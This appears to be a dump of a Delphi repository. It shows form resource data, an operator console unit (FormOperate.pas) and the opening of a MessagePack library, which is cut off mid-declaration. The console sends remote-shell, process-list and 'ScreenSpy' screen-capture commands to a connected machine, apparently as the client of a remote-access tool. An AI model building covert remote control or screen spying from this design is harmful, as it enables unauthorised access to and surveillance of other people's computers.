F80080E1F70071DEF60062DAF50053D7F40043D3F30039D0F2002ECDF10025CB\n      F000CAF2FB003E93DB0000000000000000000000000086868600E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900E5E5E500E5E5E5008F7F1600C4BB8700B7AE\n      6A00CAC48F009D982F007E7E7E0000000000000000000000000000000000AA6C\n      4400F7F2F000AB815700E5AC7400E5AC7400E5AC7400E5AC7400AB815700F6ED\n      E500AD744E00F7F2F000F6F1EC00AE77530000000000000000000000000073BD\n      7CFF79C483FF9ED7A7FF9BD4A4FF97D29FFF92CF9AFF8DCC95FF88CA90FF7AC2\n      82FF7EC485FF5DA463FF69996CFF000000003A9ADB00F1FAFD00B2EDFA00A1E9\n      F90091E5F80080E1F70075DEF60062DAF50053D7F40043D3F30039D0F2002ECD\n      F100CAF2FB003A9ADB0000000000000000000000000086868600E9E9E900E9E9\n      E900E9E9E900E9E9E900E5E5E500846912008A7413009E8E3A00C4BB8700B5AC\n      6500CAC48F00AEA85400A1A33300A4A23C00D0B3A100BE927700AD744E00A765\n      3A00F8F2ED00A57E5500DEA97200DEA97200DCA67100DCA67100A57E5500F6ED\n      E500AD744E00FDE8D700F6EDE500AD744E000000000000000000000000000000\n      000079C483FF6AB774FF6AB774FF54AB5EFF4EA357FF499B51FF63AC6BFF83C3\n      8BFF87C98FFF82C689FF509756FF699D6DFF39A1DA00F1FAFD00CAF2FB00B8EF\n      FB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6005CD9F5004ED6F40043D3\n      F300D0F3FC0039A1DA0000000000000000000000000086868600F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E9007A580300A08D4200C0B57F00B7AE6A00B2A7\n      6000BBB37300CBC79000B2AC59009D982F00B17D5C00EEECEA00F7F2F000AA6C\n      4400F7F2F000BDAA8700FDE4B400FDE4B400FDE4B400FDE4B400BDAA8700F6ED\n      E500A66C4E00575AB400F6EDE500AD724D000000000000000000000000000000\n      0000000000006AB774FF6AB774FF000000000000000000000000000000005BA2\n      62FF86C68EFF88C98FFF6FB376FF699D6DFF39A6DA00FFFFFF00FFFFFF00F1FA\n      FD00FFFFFF00EEFAFE00DEF0FA0094E6F80080E1F7007BE0F60062DAF5005CD9\n      F500D0F3FC003087B8004C7AA200406E95000000000086868600F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E5E5E50090772D00A08D4200C1B68100B2A7\n      6000C8C18C00AAA14E00968A210000000000AA6C4400F8F2ED00FDE8D700AA6C\n      4400F7F2F000B5A38000F2DCAC00F2DCAC00FDE4B400FDE4B400BDAA8700F6F1\n      EC00AD724D006167DE00F6EDE500AD744E000000000000000000000000000000\n      000000000000000000006AB774FF000000000000000000000000000000000000\n      000054A05BFF48954FFF408B47FF478B4EFF37ABDA00E9F6FB0093D4EF0087CE\n      EE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00AFC0D100558AB6008BB0D40044739D000000000089898900F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E5E5E5008F752800A4934700C1B6\n      8100A496450091831C008686860000000000AA6C4400F6F1EC00356B3900A370\n      4700F7F2F00095805B00BAA57F00BAA57F00BAA57F00BAA57F008E7F6400F6F1\n      EC00A66C4E006065D600F6EDE500AD744E005DA964FF4C9C54FF48954FFF4990\n      4FFF00000000000000000000000000000000000000004A814DFF000000000000\n      00000000000000000000000000000000000039A6DA00F1FAFD0095DAF30095DA\n      F3007ED4F20069CAED0069CAED0086C8DD0097B1B300CAAD9400CDAE9400C8A9\n      8D00AA988D0095B0CB005B8BB600000000000000000089898900F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E5E5E500E0DFDD00847613009E8E\n      3A0086760800F1F1F1008989890000000000AA6C4400F7F2F000468F4B00A57E\n      5500DEDEDC00F7F2F000F7F2F000F7F2F000F7F2F000F7F2F000F8F2ED00F6ED\n      E500AE775300948BE000F6F1EC00AD744E0084C38BFF80C389FF8DCC95FF83C4\n      8AFF54995AFF0000000000000000000000000000000034873AFF458B4AFF0000\n      0000000000000000000000000000000000003FB2DC00FFFFFF008AE3F7008AE3\n      F7009EE0F500ABE1F600F1FAFD00C5B7A900E2CDBB00F5E0CC00F7E0C700F8E2\n      CB00F3D1B200A6988E0000000000000000000000000089898900F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E5E5E500E5E5E500E5E5E500D5D5D5008066\n      0500D8D8D800F1F1F1008989890000000000AA6C4400F7F2F000448A4A008797\n      5E00A37D5800A3704700A7653A00AA6C4400A6654200AA6C4400A6654200A66C\n      4E00B6969C00948BE000F7EFE800AD744E008ECD96FF75BF7EFF98D2A1FF94CF\n      9CFF86C78DFF5EA765FF398640FF347E3AFF2E7633FF34873AFF458B4AFF478D\n      4CFF000000000000000000000000000000003AB4DB00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00EEFAFE00C9AB9300F2E3D400F4DAC000F3D8BC00F3D8\n      BC00F8E2CB00C3A38A0000000000000000000000000089898900FAFAFA00E9E9\n      E900E9E9E900E9E9E900E5E5E500E5E5E500E5E5E500D8D8D800D8D8D800D5D5\n      D500D5D5D500F1F1F1008989890000000000AA6C4400F7F2F0006F9E790093D4\n      A10093D4A10093D4A100A6724A00F7F2F000746DC3008F87E0008F87E0008F87\n      E000948BE0007F7AB800F8F2ED00AD744E00000000008ECD96FF85C98EFF9BD4\n      A4FF8FCE98FF92CF9AFF8DCC95FF88CA90FF83C68BFF7EC485FF79C17FFF478D\n      4CFF478D4CFF00000000000000000000000058C1E00061C2E10061C2E10061C2\n      E10061C2E10061C2E10055BEDF00C8A98D00F8EADC00F4DAC000F4DAC000F3D8\n      BC00F8E2CB00CAAD940000000000000000000000000089898900F1F1F100E5E5\n      E500E5E5E500E5E5E500E5E5E500E5E5E500D8D8D800D8D8D800E9E9E900F1F1\n      F100F1F1F100F1F1F1008686860000000000AC6D4400F7F2F000699773008DCA\n      9C008FCD9D0091D19F00A8805D00DEDEDC00F7F2F000F7F2F000F7F2F000F8F2\n      ED00F7F2F000F8F2ED00F6EDE500AB815700000000000000000090CF97FF79C3\n      83FF89CA92FF94D09CFF95D19EFF90CF99FF8CCB94FF87C98FFF80C487FF4E95\n      54FF478D4CFF0000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000CAAD9400F2E3D400F5E0CC00F5E0CC00F4DA\n      C000F2E3D400C9AB930000000000000000000000000089898900FAFAFA00E5E5\n      E500E5E5E500E5E5E500E5E5E500D8D8D800E5E5E500D5D5D500FAFAFA00E5E5\n      E500E5E5E500B2B2B200A9A9A90000000000AE775300F7F2F0004A7D5400689B\n      7300689B7300689B73008D896700A2765700AE775300A7653A00AA6C4400AA6C\n      4400AA6C4400AA6C4400AD744E00CEAF9D0000000000000000000000000089C9\n      90FF89C990FF64B46CFF50A65AFF4B9E53FF45964DFF4FAC58FF5BA262FF5BA2\n      62FF000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000C0B5A700DDC2AA00F4E6DA00F8EADC00F5E0\n      CC00E3C9B100C0B5A70000000000000000000000000090909000F1F1F100E5E5\n      E500E5E5E500D8D8D800E5E5E500E5E5E500D8D8D800D5D5D500FAFAFA00D5D5\n      D500A9A9A900A1A1A1000000000000000000B1826500DEDEDC00F7F2F000F7F2\n      F000F7F2F000F7F2F000F8F2ED00F8F2ED00EEECEA00AB815700000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000004FAC58FF4FAC58FF0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000C0B5A700BEAD9600C8A98D00CAAD\n      9400BEAD960000000000000000000000000000000000A1A1A100F1F1F100F1F1\n      F100F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100E5E5E500A9A9\n      A900A1A1A100000000000000000000000000CFB5A300B1826500AE775300AA6C\n      4400AC6D4400AA6C4400AA6C4400AA6C4400AD744E00CEAF9D00000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000004FAC58FF000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000A9A9A9009090\n      900089898900909090008989890089898900909090008989890099999900B5B5\n      B50000000000000000000000000000000000424D3E000000000000003E000000\n      2800000040000000400100000100010000000000000A00000000000000000000\n      000000000000000000000000FFFFFF00FF8FFFFF00000000FC89FFFF00000000\n      F800FEFF00000000FC01F8FF00000000F800F0F100000000F80000F900000000\n      900000EC00000000000100A400000000800100A400000000001B00EC00000000\n      001F00F900000000001FF0F900000000803FF8FF00000000803FFEFF00000000\n      D17FFFFF00000000FBFFFFFF00000000FFC3C03FFFFFFC7FFF81001F81FFFC3F\n      E000001F00FF80038000800300FF00010000C00181FF00010000E000C3FF0000\n      0001E00000F900000003C00000C80001001FC00000440001001FE00100240001\n      001FF00300240001001FFF0300240001001FFE0300440001801FFE03FFC80001\n      C01FFF03FFF98003E01FFF87FFFFFFFFFFFFFFFF9FFF9FFFF81FF81F077B0F07\n      F00FF00F00310003E007E00780038001C003C0038007C00180018001C007C001\n      80018001C003C00380018001C031C00380018001C061E0C180018001E0C1F081\n      80018001F981F901C003C003FF01FE01E007E007FE00FE01F00FF00FFE00FF00\n      F81FF81FFF00FF80FFFFFFFFFFF1FFF9146F146F140314035547554755035503\n      1403140314031403FF01FF01FF83FF8344004400440044005400540054005400\n      4583458345014501FF83FF83FF83FF831403C3831447C3C755038183556F81EF\n      147F00FF147F00FFFFFF00FFFFFF00FF451700FF451700FF555700FF555700FF\n      451781FF451781FFFFFFC3FFFFFFC3FF8003FFFFC003C0030001FFFF80018001\n      0000E000800180010000C000800180010000C000800080008000800080008000\n      8001800080018001800100008001800180010000800180018001000080018001\n      8001800000010001800180000001000180018001000100018001C07F00030003\n      C001E0FF80078007E003FFFF800F800FFFFFFFFF0003C003FFFFFFEF00038001\n      F80FFFE700038001E003020300038001C0010001000380018000000100038001\n      00000003000380010000F067000380010000F067000380010000000300038001\n      8001000100018001C0030001FF808001E0070203FFC08001F81FFFE7FFC08003\n      FFFFFFEFFFC38007FFFFFFFFFFE3C00FF82187FF9FFFE07FF00003FF0FFFE07F\n      E00001FF007FF000C00000FF807F00000000007FC03F00000000803FC01F0000\n      0000C03FC01F00000000E03FC13300000000F003C0E100000000F801E0C10000\n      0000FF00F98100000000FF00FF010000C003FF08FE010000F00FFF07FE00FC00\n      F81FFF87FF00FE00FE7FFFC7FFF9FF00C003FDFFFDFFFFFF8001F9FFF9FFFC3F\n      8001F00FF00FFC3F8001E003E003FC3F8000E001E001FC3F8000F000F000F81F\n      8001F9E0F9E0E0078001FDF0FDF0C00380010FBF0FBFC1838001079F079FC3C3\n      0001000F000FC3C300018007800700008001C007C00781818003E00FF00FC3C3\n      8007FF9FFF9FE7E7C00FFFBFFFBFFFFF87FFFFFFFFFFFFFF03FF8001FFFFFC3F\n      01FF8001FFE3F00F00FF8001FFC3E007007FC813FF83C0030007E007E007C003\n      C003E007C00F8001C001E007801F8001F800C003801F8001F800C003801F8001\n      F800C003801FC003F800C003801FC003F801E007801FE007FC03E007C03FF00F\n      FE07F00FE07FFC3FFF0FFC3FFFFFFFFF0000FE7FFFFFFFFF0000FC3F0000FFFF\n      0000C4230000C001000080010000800100008001000080010000C00300008001\n      0000000000008001000001800000800100000180000080010000000000008001\n      0000C00300008001000080010000800300008001000180FF0000C4230003FFFF\n      0000FC3F0003FFFF0000FC3FFF07FFFFFFFFFFE3FFE30000FFFFFFC1FFC10000\n      8001800080000000000100000000000000010000000000000001000100010000\n      0001000100010000000100010001000000010001000100000001000100010000\n      00010001000100000001000100010000000300030003000080FF80FF80FF0000\n      C1FFC1FFC1FF0000FFFFFFFFFFFF0000FFFFFFFFFFFFFFFF83FFFC3F00000000\n      81FFF00F0000000080FFE00700000000807FC00300000000C03FC00300000000\n      E01F800100000000F00F800100000000F807800100000000FC03800100000000\n      FE01C00300000000FF00C00300000000FF80E00700010001FFC0F00F00030003\n      FFE1FC3F00070007FFFFFFFFFFFFFFFFFE41FE63F07FFE4FFC00FC01F03FFC07\n      C400C400C023C403C000C000C003C001C000C000C003C000C000C001C003C001\n      018001800100000003C003C0038003C003C003C0038003C00180018001800180\n      C003C003C001C003C003C003C003C003C003C003C003C003C423C423C423C423\n      FC3FFC3FFC3FFC3FFE7FFE7FFE7FFE7FFE01F80FFE01FFFF8000E007FC00FFFF\n      0000C0030000F0FF000080010000E07F000080000000C03F000000000000C01F\n      000000000000C00F000000000000E007000000000000F003000100000001F801\n      000F00000003FC00000F80010003FE00000F80010003FF00000FC0030003FF80\n      801FE0070003FFC0E07FF81F800FFFE0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFF00010001FFFFF00700010001F00FF7F700010001F00FF7F700010001\n      FFFFF7F700010001FFFFF7F700010001FFFFF7F700010001FFFFF7F700010001\n      FFFFF00700010001FFFFF00700010001FFFFFFFF00010001FFFFFFFF00010001\n      FFFFFFFF00018003FFFFFFFFFFFFFFFFFFFFFFEFFFCFFFFFFFFFFFC7FFC7FFFF\n      F3FFFF83FC03E187F1FFFF01C001E187F0FFC0008000E187F07F80008001E187\n      F03F80018001E187F01F80018001E187F01F80018001E187F03F80018001E187\n      F07F80018001E187F0FF80018001E187F1FF80018003E187F3FF800380FFE187\n      FFFF80FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE7FFFFFFFFF8001FC01\n      E7E700008001C401C3C300008001C001C18300008001C001E00700008001C001\n      F00F000080010180F81F0000800103C0F81F0000800103C0F00F000080010180\n      E00700008001C003C183CFFF8001C003C3C3CFFF8001C003E7E7E07F8001C423\n      FFFFFFFF8001FC3FFFFFFFFFFFFFFE7FFFFFFFE3FFC10000FFFFFF81FF800000\n      FFE4C000C0000000000B800080000000000B800080000000000B800180000000\n      000B800180010000000B800180010000000B800180010000000B800180010000\n      000B800180010000000B800380030000000B80FF80FF00000004FFFFFFFF0000\n      FFFFFFFFFFFF0001FFFFFFFFFFFF8003C003FFFFFF01FFFF8001F00FC0000000\n      8001E007800000008001E007800000008000E007800000008000E00780000000\n      8001E007800100008001E007800100008001E007800300008001E00780070000\n      8001E007801F00008001E007801F00008001E007801F00008003E007801F0000\n      8007F00FC03F0000C00FFFFFFFFFFFFFE007FDFFFFFFC003E007F9FF80038001\n      E007F00F00038001E000E00300038001E000E001000380000000F00000038000\n      0000F9E0000080010000FDF00000800100000FBF000180010000079F00038001\n      0000000F0003800100008007000380010000C007FE0380010000E00FFE038003\n      003FFF9FFF078007003FFFBFFFFFC00F00000000000000000000000000000000\n      000000000000}\n  end\n  object PopupMenu_CmdShell: TPopupMenu\n    Left = 428\n    Top = 184\n    object MenuItem_CmdShellActive: TMenuItem\n      Caption = 'Active'\n      OnClick = MenuItem_CmdShellActiveClick\n    end\n  end\n  object PopupMenu_Processes: TPopupMenu\n    Left = 516\n    Top = 184\n    object MenuItem_ProcessesRefresh: TMenuItem\n      Caption = 'Refresh'\n      OnClick = MenuItem_ProcessesRefreshClick\n    end\n  end\nend\n"
  },
  {
    "path": "Client/FormOperate.pas",
    "content": "unit FormOperate;\n\ninterface\n\nuses\n  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,\n  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, System.ImageList,\n  Vcl.ImgList, Vcl.StdCtrls, UnitClientContext, System.StrUtils, Vcl.Menus,\n  Vcl.ExtCtrls;\n\ntype\n  TOperateForm = class(TForm)\n    ImageList_TreeViewMenu: TImageList;\n    PageControl_1: TPageControl;\n    TabSheet_CmdShell: TTabSheet;\n    TabSheet_Processes: TTabSheet;\n    Memo_CmdShell: TMemo;\n    PopupMenu_CmdShell: TPopupMenu;\n    MenuItem_CmdShellActive: TMenuItem;\n    ListView_Processes: TListView;\n    PopupMenu_Processes: TPopupMenu;\n    MenuItem_ProcessesRefresh: TMenuItem;\n    TabSheet_ScreenSpy: TTabSheet;\n    ScrollBox_ScreenSpy: TScrollBox;\n    PaintBox_ScreenSpy: TPaintBox;\n    Panel_1: TPanel;\n    Button_ScreenSpy_Start: TButton;\n    Button_ScreenSpy_End: TButton;\n    Label_1: TLabel;\n    ComBox_ScreenSpy_Quality: TComboBox;\n    procedure Memo_CmdShellKeyPress(Sender: TObject; var Key: Char);\n    procedure MenuItem_CmdShellActiveClick(Sender: TObject);\n    procedure FormCreate(Sender: TObject);\n    procedure MenuItem_ProcessesRefreshClick(Sender: TObject);\n    procedure FormClose(Sender: TObject; var Action: TCloseAction);\n    procedure Button_ScreenSpy_StartClick(Sender: TObject);\n    procedure Button_ScreenSpy_EndClick(Sender: TObject);\n    procedure FormDestroy(Sender: TObject);\n    procedure PaintBox_ScreenSpyPaint(Sender: TObject);\n  private\n    { Private declarations }\n    CmdShellCommand: AnsiString;\n    ScreenSpyBmp: TBitmap;\n  public\n    { Public declarations }\n    ctx: TClientContext;\n    procedure AddToCmdShell(s: string);\n    procedure SetCmdShellState(b: Boolean);\n    procedure ClearProcesses();\n    procedure AddProcessesItem(pid, processname: string);\n    procedure SetScreenSpyState(b: Boolean);\n    procedure ScreenSpyDraw(var mousept, pt: TPoint; var bmp: TBitmap);\n  end;\n\nimplementation\nuses\n  UnitGlobal;\n\n{$R *.dfm}\n\nprocedure TOperateForm.AddProcessesItem(pid, processname: string);\nbegin\n  with ListView_Processes.Items.Add do\n  begin\n    Caption := pid;\n    SubItems.Add(processname);\n  end;\nend;\n\nprocedure TOperateForm.AddToCmdShell(s: string);\nbegin\n  Memo_CmdShell.Lines.Text := Memo_CmdShell.Lines.Text + s;\n  SendMessage(Memo_CmdShell.Handle, WM_VSCROLL, SB_BOTTOM, 0);\n  Memo_CmdShell.SelStart := Length(Memo_CmdShell.Lines.Text);\nend;\n\nprocedure TOperateForm.Button_ScreenSpy_EndClick(Sender: TObject);\nbegin\n  ctx.SendCmd(CMD_STOP_SCREENSPY);\nend;\n\nprocedure TOperateForm.Button_ScreenSpy_StartClick(Sender: TObject);\nvar\n  quality: DWORD;\nbegin\n  case ComBox_ScreenSpy_Quality.ItemIndex of\n  0:\n    quality := 1;\n  1:\n    quality := 4;\n  2:\n    quality := 8;\n  3:\n    quality := 16;\n  4:\n    quality := 32;\n  else\n    quality := 16;\n  end;\n\n  ctx.SendCmd(CMD_BEGIN_SCREENSPY, @quality, SizeOf(quality));\nend;\n\nprocedure TOperateForm.ClearProcesses;\nbegin\n  ListView_Processes.Items.Clear;\nend;\n\nprocedure TOperateForm.FormClose(Sender: TObject; var Action: TCloseAction);\nbegin\n  if MenuItem_CmdShellActive.Checked then\n  begin\n    ctx.SendCmd(CMD_STOP_CMDSHELL);\n  end;\n\n  if Button_ScreenSpy_End.Enabled then\n  begin\n    Button_ScreenSpy_EndClick(Self);\n  end;\nend;\n\nprocedure TOperateForm.FormCreate(Sender: TObject);\nbegin\n  SetCmdShellState(False);\n  SetScreenSpyState(False);\n  ScreenSpyBmp := TBitmap.Create;\nend;\n\nprocedure TOperateForm.FormDestroy(Sender: TObject);\nbegin\n  FreeAndNil(ScreenSpyBmp);\nend;\n\nprocedure TOperateForm.Memo_CmdShellKeyPress(Sender: TObject; var Key: Char);\nbegin\n  try\n    if Key = #13 then\n    begin\n      // send cmd\n      CmdShellCommand := CmdShellCommand + #13#10;\n      ctx.SendCmd(CMD_CMDSHELL_DATA, PAnsiChar(CmdShellCommand), Length(CmdShellCommand) + 1);\n      CmdShellCommand := '';\n    end else\n    if Key = #8 then\n    begin\n      if Length(CmdShellCommand) > 0 then\n      begin\n        CmdShellCommand := Copy(CmdShellCommand, 0, Length(CmdShellCommand) - 1);\n      end else\n        Key := #0;\n    end else\n    begin\n      CmdShellCommand := CmdShellCommand + Key;\n    end;\n  finally\n    SendMessage(Memo_CmdShell.Handle, WM_VSCROLL, SB_BOTTOM, 0);\n    Memo_CmdShell.SelStart := Length(Memo_CmdShell.Lines.Text);\n  end;\nend;\n\nprocedure TOperateForm.MenuItem_CmdShellActiveClick(Sender: TObject);\nbegin\n  if not MenuItem_CmdShellActive.Checked then\n  begin\n    ctx.SendCmd(CMD_BEGIN_CMDSHELL);\n  end else\n  begin\n    ctx.SendCmd(CMD_STOP_CMDSHELL);\n  end;\nend;\n\nprocedure TOperateForm.MenuItem_ProcessesRefreshClick(Sender: TObject);\nbegin\n  ctx.SendCmd(CMD_GET_PROCESS_LIST);\nend;\n\nprocedure TOperateForm.PaintBox_ScreenSpyPaint(Sender: TObject);\nbegin\n  if Button_ScreenSpy_End.Enabled then\n    PaintBox_ScreenSpy.Canvas.Draw(0, 0, ScreenSpyBmp);\nend;\n\nprocedure TOperateForm.ScreenSpyDraw(var mousept, pt: TPoint; var bmp: TBitmap);\nbegin\n  if bmp.Width > ScreenSpyBmp.Width then\n  begin\n    ScreenSpyBmp.Width := bmp.Width;\n  end;\n\n  if bmp.Height > ScreenSpyBmp.Height then\n  begin\n    ScreenSpyBmp.Height := bmp.Height;\n  end;\n\n  // Ȳ\n  ScrollBox_ScreenSpy.HorzScrollBar.Range := ScreenSpyBmp.Width;\n  ScrollBox_ScreenSpy.VertScrollBar.Range := ScreenSpyBmp.Height;\n  // ¾\n  ScreenSpyBmp.Canvas.Draw(pt.X, pt.Y, bmp);\n  PaintBox_ScreenSpy.Canvas.Draw(pt.X, pt.Y, bmp);\nend;\n\nprocedure TOperateForm.SetCmdShellState(b: Boolean);\nbegin\n  if b then\n  begin\n    Memo_CmdShell.ReadOnly := False;\n    Memo_CmdShell.Font.Color := clHighlightText;\n    Memo_CmdShell.Color := clBlack;\n    MenuItem_CmdShellActive.Checked := True;\n  end else\n  begin\n    Memo_CmdShell.ReadOnly := True;\n    Memo_CmdShell.Font.Color := clBlack;\n    Memo_CmdShell.Color := clScrollBar;\n    MenuItem_CmdShellActive.Checked := False;\n  end;\nend;\n\nprocedure TOperateForm.SetScreenSpyState(b: Boolean);\nbegin\n  if b then\n  begin\n    Button_ScreenSpy_Start.Enabled := False;\n    Button_ScreenSpy_End.Enabled := True;\n    ComBox_ScreenSpy_Quality.Enabled := False;\n  end else\n  begin\n    Button_ScreenSpy_Start.Enabled := True;\n    Button_ScreenSpy_End.Enabled := False;\n    ComBox_ScreenSpy_Quality.Enabled := True;\n  end;\nend;\n\nend.\n"
  },
  {
    "path": "Client/SimpleMsgPack.pas",
    "content": "﻿(*\n   unit Owner: D10.Mofen, qdac.swish\n      welcome to report bug: 185511468(qq), 185511468@qq.com\n   Web site   : https://github.com/ymofen/msgpack-delphi\n\n  * Delphi 2007 (tested)\n  * XE5, XE7 (tested)\n\n   + first release\n     2014-08-15 13:05:13\n\n   + add array support\n     2014-08-19 12:18:47\n\n   + add andriod support\n     2014-09-08 00:45:27\n\t\n   * fixed int32, int64 parse bug< integer, int64 parse zero>\n     2014-11-09 22:35:27\n\n   + add EncodeToFile/DecodeFromFile\n     2014-11-13 12:30:58\n\n   * fix  asVariant = null (thanks for cyw(26890954))\n     2014-11-14 09:05:52\n\n   * fix AsInteger = -1 bug (thanks for cyw(26890954))\n     2014-11-14 12:15:52\n\n   * fix AsInteger = -127 bug\n     check int64/integer/cardinal/word/shortint/smallint/byte assign, encode,decode, read\n     2014-11-14 12:30:38\n\n   * fix AsFloat = 2.507182 bug\n     thanks fo [珠海]-芒果  1939331207\n     2014-11-21 12:37:04\n\n   * add AddArrayChild func\n     2015-03-25 17:47:28\n\n   * add remove/removeFromParent/Delete function\n     2015-08-29 22:37:48\n\n\n   samples:\n     lvMsgPack:=TSimpleMsgPack.Create;\n     lvMsgPack.S['root.child01'] := 'abc';\n\n     //save to stream\n     lvMsgPack.EncodeToStream(pvStream);\n\n\nCopyright (c) 2014, ymofen, swish\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n     \n\n*)\nunit SimpleMsgPack;\n\ninterface\n\nuses\n  classes, SysUtils\n  {$IFDEF UNICODE}, Generics.Collections{$ELSE}, Contnrs{$ENDIF}\n  {$IFDEF MSWINDOWS}, Windows{$ENDIF}\n  ,Variants;\n\ntype\n  {$IF RTLVersion<25}\n    IntPtr=Integer;\n  {$IFEND IntPtr}\n\n  {$if CompilerVersion < 18} //before delphi 2007\n    TBytes = array of Byte;\n  {$ifend}\n\n  TMsgPackType = (mptUnknown, mptNull, mptMap, mptArray, mptString, mptInteger,\n  mptBoolean, mptFloat, mptSingle, mptDateTime, mptBinary);\n\n  // reserved\n  IMsgPack = interface\n    ['{37D3E479-7A46-435A-914D-08FBDA75B50E}'] \n  end;\n\n  // copy from qmsgPack\n  TMsgPackValue= packed record\n    ValueType:Byte;\n    case Integer of\n      0:(U8Val:Byte);\n      1:(I8Val:Shortint);\n      2:(U16Val:Word);\n      3:(I16Val:Smallint);\n      4:(U32Val:Cardinal);\n      5:(I32Val:Integer);\n      6:(U64Val:UInt64);\n      7:(I64Val:Int64);\n      //8:(F32Val:Single);\n      //9:(F64Val:Double);\n      10:(BArray:array[0..16] of Byte);\n  end;\n\n  TMsgPackSetting = class(TObject)\n  private\n    FCaseSensitive: Boolean;\n  public\n    property CaseSensitive: Boolean read FCaseSensitive write FCaseSensitive;\n  end;\n\n\n\n  TSimpleMsgPack = class(TObject)\n  private\n\n    FParent:TSimpleMsgPack;\n\n    FLowerName:String;\n\n    FName:String;\n\n    FValue:TBytes;\n\n    FDataType:TMsgPackType;\n\n  {$IFDEF UNICODE}\n    FChildren: TList<TSimpleMsgPack>;\n  {$ELSE}\n    FChildren: TList;\n  {$ENDIF}\n\n    procedure InnerAddToChildren(pvDataType: TMsgPackType; obj: TSimpleMsgPack);\n    function InnerAdd(pvDataType: TMsgPackType): TSimpleMsgPack; overload;\n    function InnerAdd():TSimpleMsgPack; overload;\n    function GetCount: Integer;\n    procedure InnerEncodeToStream(pvStream:TStream);\n    procedure InnerParseFromStream(pvStream: TStream);\n\n    procedure setName(pvName:string);\n  private\n    function getAsString: String;\n    procedure setAsString(pvValue:string);\n\n    function getAsInteger: Int64;\n    procedure setAsInteger(pvValue:Int64);\n    function GetAsBoolean: Boolean;\n    procedure SetAsBoolean(const Value: Boolean);\n\n    procedure SetAsFloat(const Value: Double);\n    function GetAsFloat: Double;\n\n    procedure SetAsDateTime(const Value: TDateTime);\n    function GetAsDateTime: TDateTime;\n\n    function GetAsVariant: Variant;\n    procedure SetAsVariant(const Value: Variant);\n\n    procedure SetAsSingle(const Value: Single);\n    function GetAsSingle: Single;\n\n    procedure SetAsBytes(const Value: TBytes);\n    function GetAsBytes: TBytes;\n    \n    procedure checkObjectDataType(ANewType: TMsgPackType);\n\n    function findObj(pvName:string): TSimpleMsgPack;\n    function indexOf(pvName:string): Integer;\n    function indexOfCaseSensitive(pvName:string): Integer;\n    function indexOfIgnoreSensitive(pvLowerCaseName: string): Integer;\n\n\n  private\n\n\n    /// <summary>\n    ///   通过路径查找子对象\n    /// </summary>\n    /// <param name=\"pvPath\">要查找的子对象路径 比如: 'p1.age' </param>\n    /// <param name=\"vParent\">查找到的子对象的父对象</param>\n    /// <param name=\"vIndex\">查找到的子对象所在父对象的索引值</param>\n    /// <returns>返回找到的子对象</returns>\n    function InnerFindPathObject(pvPath: string; var vParent: TSimpleMsgPack; var\n        vIndex: Integer): TSimpleMsgPack;\n\n    function GetO(pvPath: String): TSimpleMsgPack;\n    procedure SetO(pvPath: String; const Value: TSimpleMsgPack);\n\n    function GetS(pvPath: String): string;\n    procedure SetS(pvPath: String; const Value: string);\n\n    function GetI(pvPath: String): Int64;\n    procedure SetI(pvPath: String; const Value: Int64);\n\n    function GetB(pvPath: String): Boolean;\n    procedure SetB(pvPath: String; const Value: Boolean);\n    \n    function GetD(pvPath: String): Double;\n    procedure SetD(pvPath: String; const Value: Double);\n\n    function GetItems(AIndex: Integer): TSimpleMsgPack;\n\n    /// <summary>\n    ///  释放所有子对象，并清空子对象列表\n    /// </summary>\n    procedure ClearAndFreeAllChildren;\n\n  public\n    constructor Create;\n    destructor Destroy; override;\n\n    /// <summary>\n    ///   清空子对象以及本身值(null)\n    /// </summary>\n    procedure Clear;\n\n    property Count: Integer read GetCount;\n\n    procedure LoadBinaryFromStream(pvStream: TStream; pvLen: cardinal = 0);\n    procedure 